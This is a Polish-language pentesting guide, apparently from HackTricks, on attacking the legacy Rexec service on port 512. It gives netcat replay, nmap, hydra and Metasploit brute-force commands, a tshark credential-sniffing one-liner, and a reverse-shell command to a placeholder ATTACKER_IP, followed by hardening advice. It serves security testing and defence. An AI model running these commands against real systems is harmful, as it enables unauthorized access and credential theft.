512 - Pentesting Rexec
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Rexec (remote exec) jest jednym z oryginalnych zestawów usług Berkeley r (razem z rlogin
, rsh
, …). Oferuje możliwość zdalnego wykonywania poleceń autoryzowaną tylko za pomocą nazwy użytkownika i hasła w postaci czystego tekstu. Protokół został zdefiniowany na początku lat 80-tych (zobacz RFC 1060) i obecnie uważany jest za niebezpieczny z założenia. Niemniej jednak, wciąż jest domyślnie włączony w niektórych starszych urządzeniach UNIX / podłączonych do sieci i czasami pojawia się podczas wewnętrznych pentestów.
Domyślny port: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Cały ruch – w tym dane uwierzytelniające – jest przesyłany niezaszyfrowany. Każdy, kto ma możliwość podsłuchiwania sieci, może odzyskać nazwę użytkownika, hasło i polecenie.
Szybki przegląd protokołu
- Klient łączy się z TCP 512.
- Klient wysyła trzy łańcuchy zakończone NUL:
- numer portu (w formacie ASCII), na którym chce odbierać stdout/stderr (często
0
), - nazwa użytkownika,
- hasło.
- Wysyłany jest końcowy łańcuch zakończony NUL z poleceniem do wykonania.
- Serwer odpowiada pojedynczym bajtem statusu 8-bitowego (0 = sukces,
1
= niepowodzenie), po którym następuje wynik polecenia.
To oznacza, że możesz odtworzyć wymianę za pomocą niczego więcej niż echo -e
i nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Jeśli dane uwierzytelniające są ważne, otrzymasz wynik id
bezpośrednio na tym samym połączeniu.
Ręczne użycie z klientem
Wiele dystrybucji Linuksa nadal dostarcza starszego klienta w pakiecie inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Jeśli -p
jest pominięty, klient poprosi interaktywnie o hasło (widoczne w ruchu w postaci czystego tekstu!).
Enumeracja i Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute
NSE używa opisanego powyżej protokołu do szybkiego próbowania poświadczeń.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
ma dedykowany moduł rexec i pozostaje najszybszym offline bruteforcerem. medusa
(-M REXEC
) i ncrack
(moduł rexec
) mogą być używane w ten sam sposób.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Moduł uruchomi powłokę po pomyślnym wykonaniu i zapisze dane uwierzytelniające w bazie danych.
Sniffing credentials
Ponieważ wszystko jest w postaci czystego tekstu, przechwytywanie sieciowe jest bezcenne. Mając kopię ruchu, możesz wyodrębnić dane uwierzytelniające bez dotykania celu:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark włącz Decode As … TCP 512 → REXEC, aby zobaczyć ładnie sparsowane pola.)
Wskazówki po eksploatacji
- Komendy są uruchamiane z uprawnieniami podanego użytkownika. Jeśli
/etc/pam.d/rexec
jest źle skonfigurowany (np.pam_rootok
), czasami możliwe są powłoki roota. - Rexec ignoruje powłokę użytkownika i wykonuje polecenie za pomocą
/bin/sh -c <cmd>
. Możesz zatem używać typowych sztuczek ucieczki z powłoki (;
,$( )
, backticks) do łączenia wielu poleceń lub uruchamiania powłok zwrotnych:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Hasła często są przechowywane w ~/.netrc na innych systemach; jeśli skompromitujesz jeden host, możesz je ponownie wykorzystać do ruchu bocznego.
Utwardzanie / Wykrywanie
- Nie eksponuj rexec; zastąp go SSH. Praktycznie wszystkie nowoczesne inetd superserwery domyślnie komentują tę usługę.
- Jeśli musisz go zachować, ogranicz dostęp za pomocą TCP wrappers (
/etc/hosts.allow
) lub reguł zapory i wymuszaj silne hasła dla każdego konta. - Monitoruj ruch do :512 oraz uruchamianie procesów
rexecd
. Pojedynczy zrzut pakietów wystarczy, aby wykryć kompromitację. - Wyłącz
rexec
,rlogin
,rsh
razem – dzielą większość tej samej bazy kodu i słabości.
Odniesienia
- Dokumentacja Nmap NSE
rexec-brute
– https://nmap.org/nsedoc/scripts/rexec-brute.html - Moduł Rapid7 Metasploit
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.